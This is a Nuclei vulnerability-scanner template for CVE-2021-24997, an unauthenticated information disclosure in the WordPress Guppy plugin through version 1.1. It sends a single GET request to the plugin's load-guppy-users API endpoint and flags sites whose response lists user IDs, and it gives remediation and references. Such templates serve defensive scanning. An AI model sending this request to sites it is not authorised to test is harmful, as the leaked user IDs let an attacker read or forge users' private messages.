nuclei-templates/http/cves/2021/CVE-2021-24997.yaml

48 lines
1.6 KiB
YAML

id: CVE-2021-24997
info:
name: WordPress Guppy <=1.1 - Information Disclosure
author: Evan Rubinstein
severity: medium
description: WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
remediation: |
Update to the latest version of the WordPress Guppy plugin (version >1.1) to mitigate the information disclosure vulnerability.
reference:
- https://www.exploit-db.com/exploits/50540
- https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
- https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900
- https://nvd.nist.gov/vuln/detail/CVE-2021-24997
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2021-24997
cwe-id: CWE-862
epss-score: 0.00224
epss-percentile: 0.6042
cpe: cpe:2.3:a:wp-guppy:wp_guppy:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: wp-guppy
product: wp_guppy
framework: wordpress
tags: wordpress,guppy,api,cve2021,cve,wp-plugin,edb,wpscan
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"guppyUsers":'
- '"userId":'
- '"type":'
condition: and
- type: status
status:
- 200